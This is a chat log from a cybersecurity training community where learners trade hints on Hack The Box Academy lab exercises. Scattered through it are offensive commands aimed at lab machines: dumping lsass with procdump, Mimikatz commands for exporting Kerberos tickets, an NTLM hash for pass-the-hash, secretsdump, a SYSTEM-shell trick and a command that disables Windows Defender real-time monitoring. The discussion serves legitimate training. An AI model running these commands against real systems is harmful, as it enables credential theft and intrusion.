[heavy marsh]

Best documentation and help I've got in a while! I appreciate you!

Very informative!

It's almost like that should have been in the module!

So how was I supposed to find the admin email?

[wild folio]

you don't get a "from: CTO" in your output?

[heavy marsh]

No. I got it!

Thank you!

Can you tell me please how you came to this conclusion?!

[analog dock]

If you read this properly you would’ve found it too 😅

[wild folio]

I struggled here as well and kinda just frankensteined a bunch of stuff together.

Trial by fire..

[heavy marsh]

That's how it looks like it's going.

Same here. Signed up for a comprehensive, detailed curriculum. Sorry you had to frankenstein. Thank you for the assist, I appreciate it!

I still don't understand those commands though

[heavy marsh]

I see what you're saying, but there's no syntax

[steady hawk]

I would just use Evolution, it's good to learn the CLI, but I've yet to encounter a situation were I've been forced to use it.

[wild folio]

evolution?

[steady hawk]

GUI for imap

[wild folio]

oh nice

[heavy marsh]

Why am I using "tag"

[analog dock]

Try it without tag and use anything else

F FETCH 1 RFC822

[analog dock]

That’s the easiest option yeah

[heavy marsh]

blueteamTHIS got me through that

I still don't know why

just that it works

[analog dock]

Did you try it?

[heavy marsh]

yeah, I cleared the lesson with blueteamTHIS's help

[analog dock]

This

[heavy marsh]

the commands are just not clear

[wild folio]

yeah?

[analog dock]

They are very clear

[analog dock]

Actually read what he says

[wild folio]

"TAG" is an identifier for the command sent from the client to the server. It can be any string but it should be unique for every command within a single connection.

Basically it's just placing a label on the command you're about to use. (FETCH)

For client/server communication

It doesn't have to be "tag". It could be "yomam" FETCH

[heavy marsh]

Got it, just having trouble reconciling that with the lesson material

It wasn't anywhere in the module

[analog dock]

Correct, but you had the links already

[heavy marsh]

Trying to find where I missed the mark

Well when the links didn't work I went back

[analog dock]

I agree that they should provide those links or better explanation in the section

[heavy marsh]

So if I find myself lost again I should seek outside assistance from resources other than the module?

Or past modules?

[analog dock]

Googling never hurts

And you’ll find that they refer back to past modules sometimes yeah

[wild folio]

Having a chatgpt tab open doesn't hurt either.

[heavy marsh]

Just frustrating, I like getting quality instruction when I pay for it

[analog dock]

Going back to footprinting module sometimes for syntax

[heavy marsh]

You guys are top notch though

HTB should be paying you

[wild folio]

maybe 0x56 but naaah I'm around the same level as you lol

[analog dock]

They provide quality instructions, especially for the price you pay. Some modules could be made a bit better though I agree

[heavy marsh]

We'll get there blueteamTHIS

[analog dock]

But they’re constantly updating

[wild folio]

I noticed that.

Pretty cool to see.

[heavy marsh]

Yeah, much better than tryhackme

so far

[analog dock]

I still have the ptp course from elearnsecurity, that’s the course for eCPPTv2, which was like 1500$. The explanation and detail in academy is better than that course imo

That’s what I mean with “especially for the price you pay”

It’s 8$ a month for a student and like 100$ to unlock all modules for others, that’s insanely cheap for the information provided

[heavy marsh]

Well thanks for being helpful, transparent, honest, and not condescending.

[analog dock]

You’re welcome👍🏼

The struggle is what helps me learn personally, so try to embrace it instead of getting frustrated

[vital adder]

jesus christ 1.5K for that course???

[heavy marsh]

For sure! Embrace the suck!

[analog dock]

Was somewhere around that price yes, course + cert

[vital adder]

do you at least get a cer attempt with the course?

[analog dock]

Ive yet to take the exam though

[vital adder]

even with the cer 1.5K is not worth it (a sans cer is way better with that kind price)

[analog dock]

You won’t get a sans cert at that price though

Id recommend getting an offsec cert instead though

And I wouldn’t recommend elearn courses to anyone anymore

INE ruined that

[vital adder]

wait really? last time i check it's some where around that price

[analog dock]

I believe it’s more expensive, at least if you want training as well

[vital adder]

i mean offsec "cer" is worth it but the course isn't

[wild folio]

GPEN was 9k for just the course

[analog dock]

Courses are getting better there as well, at least I’ve seen multiple positive reviews about the upgraded oscp material

[wild folio]

$8275*

[analog dock]

Yeah that sounds more like it

[vital adder]

oh yea the oscp did finally get a good update

[vital adder]

i miss remember the cer price 🤣

i did look into getting GPEN without the course and just with the academy content

but not sure if i want to yeeted about 1K out of the windows that way

[wild folio]

and yeet you will

lol

[vital adder]

hope not but probably will 🤣

[wild folio]

haha I've been doing the course work and haven't bought the cert yet either cause I'm scuured

err the voucher.

[scenic oar]

hi everyone, i'm new in cybersecurity and i'm blocked at "linux fundamentals" in the section "System information", i can't login to the machine with SSH i don't know why

when it asks me to type the password i type it and it says "permission denied"

[valid cipher]

vpn

[scenic oar]

okay thanks but how do i connect to the vpn ?

okay it's good i found !

[placid quest]

@scenic oar download the VPN and use sudo openvpn file name

[scenic oar]

thank you !

[rustic sage]

Hello colleagues I want to ask if this for loop is structured for this question. module BashScripting

Create a "For" loop that encodes the variable "var" 28 times in "base64". The number of characters in the 28th hash is the value that must be assigned to the "salt" variable.

for i in {0..27}
do
var=$(echo $var | base64)
done
salt=$(echo $var | wc -c)

It would be of great help if you could indicate to me this structured in the way you are indicating in the question but I see that I am missing something because I have found the flag.

And can you recommend me a bashScripting course if someone can tell me where I can get it to go deeper into this topic that is of utmost importance.

[drowsy bane]

Has anyone done the new Linux privilege escalation module yet? I’m struggling with the escape restricted shell bit

[cinder mortar]

For report writing, do we have to record every command? Like even for file transfers, what to run on target and attack machine

[cinder mortar]

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash

[valid cipher]

Just discovered the tracert tool, and I'm curious why my packets go through 3 private IPs before entering the internet. The first one is my router, but not sure what the others are

[acoustic owl]

What exactly don't you understand about this For loop?

It takes the value in the variable var and encodes it with base64and writes the new value back into the variable var
It does that 28x (0-27)

You can find programming courses either on Youtube or on Udemy, there mostly even in your native language.

[pine dagger]

Its a Restore folder. As in, Backups get Restored to it.

[gaunt monolith]

Hi who can Help me in pivoting module in meterpreter tunneling and port forwarding I have Syntax error .. when write run autoroute -p Ive got 3 IP address so how can write it in solve box I tried ||172.16.5.0/172.16.4.0|| but nothing worked

[fiery berry]

can you paste the command in spoiler tags for the network address you are trying to add?

otherwise you can dm me

[mighty wharf]

Hey guys I'm on the medium assessment for password attacks and I'm trying to password spray smb for some creds but crackmap is saying all passwords are good. Dose anyone know how to fix this, thinks its some sort of bug saw it is the escape video ipp done recently.

[livid hull]

Good day everyone, am new year. I am also new to Cyber Security and heard about harkthebox. I have followed the instructions and have 3 active connections, my machine is online and gave an IP address but when I ping the machine it's says not reachable, I have repeated the process over 10x, shut down and reported by system several times, delete files and reinstalled vpn, I still cannot get a feedback from the machine when I ping it. Please can someone assist me. Thank you in advance

[vital adder]

hint try different enum on the smb and there is a reason why cme and other tool and showing all cred are good

[vital adder]

which module and section are you on?

[mighty wharf]

Okay thank you will try something else

[drowsy bane]

Cheers mate

[livid hull]

The first module Meow

[vital adder]

yeah that isn't a hackthebox academy module it's a box on HTB main platform, read #welcome and #rules after that use /verify at #bot-commands and ask that at #starting-point

[livid hull]

Ok thanks

[random cliff]

Hi Guys! Can you help me with the Linux Priv esc Dirty Cow section? (Escalate privileges using the same Kernel exploit. Submit the contents of the flag.txt file in the /root/kernel_exploit directory.) I ran the exploit but the user firefart was not created and I could not escalate. Thanks!!

[zinc sentinel]

DM?

[random cliff]

Please 🙂

[vivid igloo]

ayo

am so stuck here

Leverage SeDebugPrivilege rights and obtain the NTLM password hash for the sccm_svc account.

they want me to assign privs to this user(Debug programs)

[fallow tundra]

Hi, i think here is a dead link in the Footprinting Module > Linux Remote Management Protocols > Pluggable Authentication Modules (PAM)

[vivid igloo]

but i dont have privs to even open Local Policies\User Rights Assignment

@acoustic owl

[zinc sentinel]

tried the Remote Code Execution as SYSTEM method?

[vivid igloo]

i haven't

[zinc sentinel]

used the procdump.exe?

opening an elevated shell?

[vivid igloo]

C:\Tools\Procdump> procdump.exe -accepteula -ma lsass.exe lsass.dmp

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

Error opening lsass.exe (696):
Access is denied. (0x00000005, 5)

[vivid igloo]

[vivid igloo]

ayo

i cant find this file .\psgetsys.ps1

[fresh compass]

Hi! Im stuck on the Footprinting Laboratory - Easy on the Footprinting Module. Any help?

[gaunt monolith]

In Pivoting, Tunneling, and Port Forwarding in Web Server Pivoting with Rpivot
I wrote python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 in my kali
& python2.7 client.py --server-ip 10.10.14.237 --server-port 9999 in ubuntu
and I got connection
when I write proxychains firefox-esr 172.16.5.135:80
to acces in internal web server I dont have any connection !?

[vivid igloo]

ayo idk why but its not giving me cmd admin shell

PS C:\Users\jordan\Desktop> .\psgetsys.ps1; lsass.exe :: CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
PS C:\Users\jordan\Desktop>

[faint rampart]

kill/close the running browser instance and try again.

[zinc sentinel]

.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","")

[gaunt monolith]

just still loading page without show anything

[vivid igloo]

PS C:\Users\jordan\Desktop> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(640,"c:\Windows\System32\cmd.exe","")
Cannot find an overload for "CreateProcessFromParent" and the argument count: "3".
At line:1 char:17

• ... getsys.ps1; [MyProcess]::CreateProcessFromParent(640,"c:\Windows\Syst ...

•             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : NotSpecified: (:) [], MethodException
  • FullyQualifiedErrorId : MethodCountCouldNotFindBest

lol

[zinc sentinel]

tasklist to find winlogon.exe PID>?

[vivid igloo]

thanks and sorry lol

[vivid igloo]

.\psgetsys.ps1; winlogon.exe ::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","")

still not giving me shell lol

🥲 7

PS C:\Users\jordan\Desktop> .\psgetsys.ps1; winlogon.exe ::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","")
PS C:\Users\jordan\Desktop>

[zinc sentinel]

Check the command I posted vrs urs

Ignoring the pop shell bit

[vivid igloo]

PS C:\Users\jordan\Desktop> .\psgetsys.ps1; winlogon.exe ::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","")popshell
PS C:\Users\jordan\Desktop> .\psgetsys.ps1; winlogon.exe ::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","")popshell
PS C:\Users\jordan\Desktop>

[zinc sentinel]

.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","")

[vivid igloo]

PS C:\Users\jordan\Desktop> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(644,"c:\Windows\System32\cmd.exe","
Exception calling "CreateProcessFromParent" with "3" argument(s): "Not all privileges or groups referenced are
assigned to the caller"
At line:1 char:17

• ... getsys.ps1; [MyProcess]::CreateProcessFromParent(644,"c:\Windows\Syst ...

•             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
  • FullyQualifiedErrorId : Win32Exception

PS C:\Users\jordan\Desktop>

ion have privs ?

oh

[zinc sentinel]

Maybe a reread of the second is in order

[vivid igloo]

got it

thansk

*thanks 🎉 👍

[zinc sentinel]

Sweet 🥳

[gaunt monolith]

I tried with pwnbox but nothing happened 🙃

[fresh compass]

Please, help in the easy lab of the Footprinting module. Im stuck in the ftp ||passive|| step, cause I don't find anything

Nvm, I just found the solution

[next umbra]

Pivoting, Tunneling, and Port Forwarding: Skills Assessment
If anyone could give me a nudge, it would be greatly appreciated.
My DM is open, thanks 🙂

[rustic sage]

Dm

[vital adder]

if you have a call back from your client on the ubuntu machine to your server could do a sanity check by just port scan the site or use curl? or do you have 0 connection to the 172.16.5.135 machine?

which case in this?

[lyric raft]

its for case 4.

[vital adder]

if you copy the post request burp and run sqlmap with that request it should be straight forward

[rustic sage]

You can share this in #resources-tools

[lyric raft]

thanks!

[gaunt monolith]

actually I wrote sudo chown root /run/user/1000/gdm/Xauthority and wait a lot of time now its work

[plain coral]

you should assign the length of var to the salt variable during the 28th iteration. Keep in mind that when counting programmatically, we begin from 0 😉

if (( i == 27 )); then
salt=${#var}
fi

[vital adder]

oh what did i miss?

[rustic sage]

Nothing much he just shared bunch of free labs resources in module section

[vital adder]

not sure about this but in my note for this section i actually kinda auto automated it a bit and i got no idea why but if you want i can send you that to see if it's will work

[gaunt monolith]

Great I’m waiting u .. and I appreciate ur help🌹

[vital adder]

oh the most recent message in #resources-tools? and those lab are not free

sure give me a sec

[rustic sage]

Yess

[warm drift]

pls I need help in smb question 5 I don't get it "Find additional information about the specific share we found previously and submit the customized version of that specific share as the answer. "

Footprinting module

[acoustic owl]

||rpcclient|| is your friend

[warm drift]

thanks man

[rustic sage]

guys

i am study linux module fundmentals and i see this text "Terminal emulation is software that emulates the function of a terminal. It allows the use of text-based programs within a graphical user interface (GUI). There are also so-called command-line interfaces (CLI) that run as additional terminals in one terminal. In short, a terminal serves as an interface to the shell interpreter.

Terminal emulators and multiplexers are beneficial extensions for the terminal. They provide us with different methods and functions to work with the terminal, such as splitting the terminal into one window, working in multiple directories, creating different workspaces, and much more. An example of the use of such a multiplexer called Tmux could look something like this:"

[rustic sage]

what is mean multiplixer

[fathom pendant]

Multiple on one screen

[rare topaz]

Tmux is a good example of a terminal multiplexer.

in fact i think tmux literally stands for terminal multiplexer.

multiple screen (in this case panes), tabs (in this case windows)

[iron plaza]

Guys I am doing the RDP and SOCKS Tunneling with SocksOverRDP in Pivoting, Tunneling, and Port Forwarding module (module/158/section/1439) I downloaded SocksOverRDP on the target and tried to load the dll file but I keep getting this error. Did anyone else face this issue and how do you resolve this?

[devout torrent]

You probably did not open cmd as administrator

[iron plaza]

nope, I opened it as Administrator

[devout torrent]

In powershell as administrator do "Set-MpPreference -DisableRealtimeMonitoring $true" To disable real time montoring

[iron plaza]

ok that worked

[rustic sage]

thank you

[iron plaza]

Thanks mate

[zinc marsh]

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54

which part of the hash I needed to use for pth?

[proud pine]

The second half.

[zinc marsh]

and when I had this

was I able to activate pth without being admin?

[trail leaf]

If remote Administrator login is explicitly disabled, pth won't get around it

You could probably psexec instead

[proud pine]

Or PTH winrm, and enable RDP

[vital adder]

did you disable Restricted Admin Mode? (the given reg command)

[fathom pendant]

The section tells you how to get around this

[zinc marsh]

No

[fathom pendant]

Yes it does lol iirc the section gives you that exact scenario in the example

[pallid geyser]

hello guys, anyone knows which is the best command line with nmap. I usually use nmap -sV {ip} but i saw lot of videos which they write lot of stuff in terminal

[fathom pendant]

It depends

Generally you're gonna be more specific with your scan if you know the ports you're attacking

[wind gust]

anyone know the isssue here?

[zinc marsh]

I got the privesc with other vuln

[fathom pendant]

It looks like the module isn't loaded, if it's a power view module may need to load it by going to C:\tools

[proud pine]

Doesn't seem to be erroring on the module, but just the parameter.

[proud pine]

Did you grab the latest powerview?

[wind gust]

i just used what they have instsalled on the machine

[fathom pendant]

It's potential that -TrustedToAuth isn't on this

[proud pine]

I'd try to grab the latest version, just in case. It looks like -trustedtoauth is a valid parameter for get-domainuser - get-netuser is just an alias for it.

[fathom pendant]

From google: https://github.com/fortra/impacket/issues/320

[naive wadi]

Just to be clear, on password mutations in the Password Attacks module, all we are doing is using the supplied resources and using the supplied command to generate a wordlist and then bruteforce SSH? If so it has failed twice for me. Or am I off?

[fathom pendant]

Bruteforce a different running service

Ssh is slow and the box will timeout

[naive wadi]

thank you

Yeah it was timing out

[tight mesa]

hello y'all, I'm stuck with shell & payloads skill assesssment, any hint

cuz I'm not sure if I'm over thinking

[drowsy bane]

Has anyone here actually done the escaping restricted shells bit in the Linux privilege escalation module?

[unborn shard]

If you don't explain what question you're stuck with and what have you done to try solve it, there is not much we can do to give you a hint

[unborn shard]

Yes

[tight mesa]

LoL you're completely right, sorry about that

well I'm stuck with the question No 1, so far I tried to bypass the .zip & tar.gz files restrictions thru the content-type with no success {didn't find the right application/xxx} to be able to upload a webshell, also tried to upload the webshell via tomcat war files but, I really don't know where they are saved

[deep owl]

hello all

please help me if you can

AD Enumeration & Attacks - Skills Assessment Part II

Submit the contents of the C:\flag.txt file on MS01.

am not able to connect to MS01

it seems rdp is disabled

[thorn urchin]

Bummer

sounds like you should look for a different way

[deep owl]

and evil-winrm is not working aswell

also telnet

[thorn urchin]

yup

sounds like youve not found what you need yet

its a skill assessment so good luck : 👍

[forest zenith]

How can I send multiple commands using Invoke-Mimikatz like:

Invoke-Mimikatz -Command @"
privilege::debug
token::elevate
base64 /out:true
kerberos::list /export
"@

I need to send commands that use "/" like base64 /out:true, and it separates in multiple lines. I have also tried:

Invoke-Mimikatz -Command "privilege::debug token::elevate base64 /out:true kerberos::list /export"

[dull vortex]

Just got through this one, and it was a lot of fun but I have a question that would be a spoiler here in the chat. Can I dm someone who has completed this as well?

[raven locust]

hey guys, doing the footprinting/smb module currently and I'm running into an issue with one of the questions, is there anyone I can DM?

one of the questions has me connect to a share and find a flag.txt, but it doesn't seem to accept the flag.txt I provide despite the share being correct

[zinc marsh]

https://academy.hackthebox.com/module/67/section/640 Windows Privilege Escalation -- Credential Hunting -- Search the file system for a file containing a password. Submit the password as your answer.

someone who completed it to ask? I have found some passwords but no of them is the answer

[raven locust]

never mind, solved this one -- had to actually retrieve it from the share to my local device rather than simply reading it from within the share

[rustic sage]

sure

[dull vortex]

Already clarified, but thanks anyway!

[serene cobalt]

Wassup?

[surreal storm]

Hi , I am trying to solve the Network Enumeration with nmap , Section - Firewall and IDS/IPS Evasion - Hard Lab

Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer.

It is not clearly mentioned what service , and there are only two services running

I tried the nmap --script dns-version and it is not working , it is returning back with an error

[heavy marsh]

Check out the DNS Proxying section of the IDS/IPS evasion lesson. Read the clue in the question and then what that paragraph says about large data transfers.

That's all I remember from doing that one. I think it was one of the scans below that section that worked. It will be a bit of trial and error to find the right scan.

[surreal storm]

Much Appreciated

[heavy marsh]

I think it was a SYN-Scan from DNS port IIRC.

Either way I'm pretty sure the scan you need is in that lesson.

[surreal storm]

Thank you very much

[surreal storm]

I will try it

[rustic sage]

hello everyone ! Anyone got the answer on Footprinting module for ORACLE TNS?

it seems odat.py doesn't want to work in pwnbox after installation

[acoustic willow]

Hi

[valid cipher]

the intro networking module started off well, but the last 6 chapters... i had no clue what i was reading 💀

[gusty zinc]

Module - sql injection
Section - reading files

We see in the above PHP code that '$conn' is not defined, so it must be imported using the PHP include command. Check the imported page to obtain the database password.

I cant find where the include is - I can see the php code for search.php .. but no include. Can anyone give me a nudge on this?

[analog dock]

If you used the command from the module, you can check the source code of the page. In that source code you will find the .php which you need to use instead of search

[gusty zinc]

is the other php page referenced in search.php ?

[analog dock]

Use the command under “another example”

Then view source

And you’ll find the .php you need

[gusty zinc]

hum yeah thats what ive done but im not seeing any other php files in the source

wait

its there

[analog dock]

You got it?

[gusty zinc]

yep

tyty

[analog dock]

You’re welcome 👍🏼

[heady bronze]

Hello everyone

I got stucked with the snmp enumeration part of the Footprinting Lab Hard. Any hints?:)

[analog dock]

You need to be more clear on your question if you want help😄 we will need to know what you tried and what you’re stuck on

[heady bronze]

I have enumerated the server and found the 161/udp open. After further enumeration ive found that is running snmp v3. Tried snmpwalk, onesixtyone but couldnt find anything.

In the academy course there is nothing mentioned about snmpv3 enumeration. 🙂

Should i bruteforce?

[analog dock]

Is 161 the only port that’s open?

[heady bronze]

Imap,imaps,pop3,ssh,pop3s

[analog dock]

So enumerate those

There’s a section imap /pop3 in the module

[heady bronze]

Yeah i tried them as well.

I am missing something... i will figure it out

[analog dock]

The answer is in those ports

[gusty zinc]

The final skills assessment in the sql injection module - is there some trick to the inital payload for sql injection? After completing the module I cant get sql injection to trigger

[bright arrow]

that one was confusing to me as well , one hint is to not trust nmap identification of snmp, and use many wordlists

[gusty zinc]

Going to restart the server - none of the sqli discovery payloads are triggering anything

maybe its a lab deployment issue

nothing, strange

[heady bronze]

Figured it out 🙂 the community string was in front of my eyes. Misunderstood the output of onesixtyone

Thank you guys

[karmic void]

Mind if I ask how you fixed yoru issue with [-] [('SSL routines', '', 'no protocols available')] ...?

[gusty zinc]

module - sql injection
section - final skills assessment

is the user credentials intended to be cracked (hash) ?

[winter blaze]

can i get help with smbclient and how to get the password.
i type in

"smbclient -U bob \ip\users

I Entered workgroup\bob's password: which is bob:Welcome1
i tried with capital letter in B and it did not work
then what do i do next
If I press enter:
[5:46 PM]
"session setup failed:NT_status_logon_failure

[thorn urchin]

are you sure it's the default workgroup for the login?

[gusty zinc]

anyone got a quick second for a question, not a nudge, on sql injection final assessment? I have what I think is the pathway, but I think I may need to scan the ip address of the machine to proceed and I want to check if im going down the wrong path

solved

[red current]

I have a question regarding the Windows Priv Esc module. It's the Pillaging section. I was able to get into the config folder finally but I can't seem to figure out which files in here that I need to transfer over to my VM for extraction of their hashes? Can someone help me out here? Never mind, it's the SAM and SYSTEM files. I should have remembered that.

[red current]

You can DM me. I'll be able to assist you with that.

[red current]

I believe that's the 'erratum' that you're looking for.

[zinc marsh]

the credentials stored in cmdkey

are used to be able to login to another service without needing the password right?

[karmic void]

Did you ever manage to resolve your issue with the SSL routines error..?

[trail leaf]

Nope, if you scan the network, you can find the parrot box and sign in with the htb-student creds, and use the mssqlclient.py that is on that box

that's what I did to deal with it

[iron plaza]

mate, I am on this module and almost finishing it off but I get this error after I load the dll successfully and when i try to connect with mstsc.exe i also get the pluggin enabled message.

but when I proceed with the connection I get the error you see. Is there a step I am missing? What I understood is once we connect we then transfer the SocksOverRDP-Sever.exe

[proud pine]

Your resume doesn't bode well, if you can't read the description of the channel that you're posting in.

[thorn urchin]

<@&861185840277487616>

My man tried to tag everyone with his spam

🙏 thanks to whoever deleted it

[fathom pendant]

Are you sure the dll is getting loaded

[iron plaza]

yes, i got the same message as shown in the module

[final maple]

I made two terminals on my local machine and used each one to SSH into the linux machine HTB gives you in the module. On one machine, I got into the Windows machine using psexec and the methods from the module. On the other machine, I did "locate mimikatz.exe" then copied the mimikatz.exe file to the home folder. Then I set up a python http server. From the Windows shell I had on my other terminal window, I used a command starting with "Invoke-Webrequest" (you should see it in the Windows Transfer section of the File Transfer module other people have sent you). Make sure you do "ip addr" on the linux host to find out the ip address you need to use in the Invoke-Webrequest command on Windows. I was able to transfer mimikatz.exe, but I am still stuck.

[rare topaz]

What u stuck w

And pls yall send screenshots omfg

[vivid igloo]

C:\Tools>reg query \10.129.19.166\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
ERROR: Access is denied.

but :Administrator netadm

net group "Domain Admins" /dom
Group name Domain Admins
Comment Designated administrators of the domain

Members

Administrator netadm

module :WINDOWS PRIVILEGE ESCALATION

Table of Contents :DnsAdmins

[acoustic owl]

Did you open cmd.exe as administrator?

[vivid igloo]

yos

anyone ?

[acoustic owl]

Wait, in the DnsAdmins section you don't need a reg query....

[mighty wharf]

Hey Guys, I need some help with the rpivot part of the port forwarding module, I am doing everything it says to do in the section, just cant seem to get it to work

[zinc sentinel]

where are you stuck ? if its porxychains firefox ect, try proxychains curl or closing existing windows

[vivid igloo]

wdym ?

oh ok

[round gale]

hello, i am unable to connect via RDP into the windows machines, trying to complete the Attacking common services RDP section. Getting network disconnect error. VPN connection is stable

[compact apex]

Hello guys, I have a question regarding a tool used on the server side attacks (SSTI sections). They explain us to use Tlpmap to automate the engine identification unfortunately this tool is not supported by python 3 and I am not able to use python 2 for the packages installations do you have any solutions ?

[analog dock]

This is for academy modules, not for your self promo.

[warm drift]

please help in active subdomain enumeration section in Information gathering web edition module question 2 " Identify how many zones exist on the target nameserver. Submit the number of found zones as the answer. "

[analog dock]

Provide more details of your problem: what have you tried and what exactly are you stuck on?

[earnest zenith]

Does somebody know why?
https://discord.com/channels/473760315293696010/1125746763295371314

[warm drift]

I tried this command nslookup -type=any -query=AXFR zonetransfer.me ns.inlanefreight.htb

[rare topaz]

it's possible to get python2 in a venv, but honestly you can find alternative tools for SSTI, or just fuzz manually (which is way more fun imho).

Hacktricks has a great guide on detecting the SSTI engine.

[compact apex]

Thx, I followed the hacktricks tuto but by using the seclist and the payloadallthethings wordlist but still unable to discover the correct engine 😦

[warm drift]

help

[acoustic owl]

htb is not an official TLD. You must specify a nameserver so that it can do the resolution

[warm drift]

still confused

I don't know any nameservers

[supple patio]

dns@ip

ns.inlanefreight.htb@ip

[acoustic owl]

You specify the nameserver ns.inlanefreight.htb. Your PC can't resolve the address because htb is not an official TLD.

[warm drift]

do I need to edit my etc/conf

[supple patio]

or sudo nano /etc/hosts

[supple patio]

hosts

ip ns.inlanefreight.htb

[warm drift]

can it be NS.xxxx IP?

[acoustic owl]

No, you can simply specify the IP address

dig AXFR example.com @10.10.10.10

[supple patio]

yeah, i typed about it earlier)

[warm drift]

10.129.144.123 ns.inlanefreight.htb is inmy etc hosts now and I tried nslookup -type=any -query=AXFR zonetransfer.me ns.inlanefreight.htb command and it didn't work

[acoustic owl]

The specified NameServer almost certainly does not know the domain zonetransfer.me

[warm drift]

nslookup -type=any -query=AXFR ns.inlanefreight.htb didn't work either

[acoustic owl]

Take another good look at the whole DNS topic. What you try here can not work

[warm drift]

please can someone explain in dm i'm dumb

[rustic sage]

try dig

[warm drift]

tried dig axfr ns.inlanefreight.htb @ip and it not working

[analog dock]

What ip are you using

[rustic sage]

I know i was trying to prove that you need to read the content again

You are missing a very important step

[bright arrow]

^

[warm drift]

the one in the question i clicked to start

[rustic sage]

[acoustic owl]

https://www.cloudflare.com/learning/dns/what-is-dns/

[cedar void]

Is there a way to maximize the window screen for the first lesson in the 'Windows Fundamentals' module? I can't see the bottom.

[trail leaf]

Use the /dynamic-resolution flag when using xfreerdp to be able to resize the window how you want

[rich perch]

I'm currently having trouble on the skills assessment of the "Hacking WordPress" module. When I spawn the target, the website works but I can't find any sign of it using Wordpress. Even WPScan gives an error that the site isn't running WordPress. Is this normal?

[cedar void]

Thanks , that worked

[fleet veldt]

hello im new and have no idea what to do any advice?

[rustic sage]

hello everyone ! Anyone got the answer on Footprinting module for ORACLE TNS?

its the olny answer i have to provide in order to complete module and odit.py doesn't work at all after 2 installations

[rustic sage]

you mean you dont know from where to start?

[fleet veldt]

i saw the discord and thought "wow that is super cool i know little to nothing but , how bad can it be" and joined

and yea im completely clueless

[rustic sage]

linux and windows fundamenttals > crack into htb > basic toolset > any path you choose

[frozen mesa]

ATTACKING COMMON APPLICATIONS --> WordPress - Discovery & Enumeration --> the hosts dont seem to run WordPress according the enumeration results. What did i do wrong?

curl -s <ip> , curl -s <hostname>, wpscan --url <website> , wpscan --url <ip>

[rare topaz]

Start with HTB Academy or TryHackMe rooms.

HTB Academy tier 0 modules are free, THM has alot more free options.

Then you can go to https://github.com/DFIRmadness/5pillars/blob/master/5-Pillars.md

This github repo to check a bunch of resources and a rough guideline as to how to progress from here.

I recommend learning the A+, Network+ and Security+ courses highlighted in the github repo for general knowledge.

For more specific resources like web pentesting, Portswigger Academy will help.

You can also watch TCM Security's free courses on youtube.

https://www.youtube.com/playlist?list=PLLKT__MCUeixqHJ1TRqrHsEd6_EdEvo47 (15+ hours)

[vivid igloo]

hey

secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator

[rare topaz]

ye

[vivid igloo]

after this ion know how to crk the ntlm

i used hashcrack

i used jhon the ripper

not working

[rare topaz]

.....

send error message

screenshots

[fervent apex]

Can someone tell me how to crack the txt file

[rare topaz]

what txt file

[fervent apex]

The hashfile txt

[rare topaz]

what hashfile

[naive field]

i have a question about sqlmap, when do i know what tamper script to use?

like will i get any indication from sqlmap or

[undone plaza]

hi

[rare topaz]

usually to bypass WAF

[naive field]

yeah, but when do i know which one to use?

is there a way to find out or

[rare topaz]

not really, you can do manual testing to see if something gets filtered out

typically you shouldn't be spamming tampers on a site without actually manually testing it first

if you suspect that there's a WAF bypass, you'd use the tamper module associated with it then.

[patent blaze]

Hey buds! Anyone facing any connections issues with Web Service & API Attacks???

[undone plaza]

...

[novel matrix]

Can we please keep this channel on topic

[rare topaz]

wrong channel, wrong server.

what course

[undone plaza]

course?

[primal bane]

Whats the right server?

[rare topaz]

.....so this isn't part of any htb academy course?

[primal bane]

@rare topaz Is there another community that can help me?

[novel matrix]

Please take this into DM's

[rare topaz]

Depends on what you're trying to do?

if you're asking for advice there might be someone who can help you, but if you're asking for them to give you revenge, that's a big no.

[rare topaz]

they're the ones spam pinging me

[primal bane]

I'm asking for advice yes

[rare topaz]

again, wrong channel

[novel matrix]

@primal bane Next time when asked to take it else where, please do so.

Also, we can't help you if you got scammed.

Anyway, back to being on topic.

[acoustic owl]

Check the Source Code

[red current]

I'm running into an issue in the Windows Priv Esc Assessment part 1. For the second question, I'm trying to get an hta_server reverse shell started and I can't seem to get it to connect for me. Does anyone have any hints on how to get this working? Never mind. I got it working.

[frozen mesa]

Wappalyzer

whatweb <rhost/website>

Attacking common applications --> --> WordPress - Discovery & Enumeration --> the hosts don't seem to run WordPress according the enumeration results.

I've enumerated the rhost (ip and domain) with curl, whatweb and wpscan but all results mention that the host is not running on WP. What am i doing wrong?

[rare topaz]

automated fuzzing tools or manually looking thru source code might help

nikto and whatweb give it i think

wappalyzer as well tho it's a browser extension

[thorn urchin]

not relevant for this channel. Read #welcome to verify your account and gain access to the rest of the server where you can find a more appropriate channel to ask

[rare topaz]

#modules message

im not even gonna bother

don't have the module so i'll need more context.

What exactly are you escaping?

What commands have you tried?

[analog dock]

#welcome verify your acc

[vital adder]

give this a try https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions and hint you only need to read the flag

[bold rapids]

I was on the final assessment for stack based buffer overflows on Linux.
I don’t know what I was doing wrong . I asked for help and the person who got the answer did exactly what I did. When I try. I get illegal instruction core dump

[zinc marsh]

use google

literally the only I did in that section was

[bold rapids]

spoiler
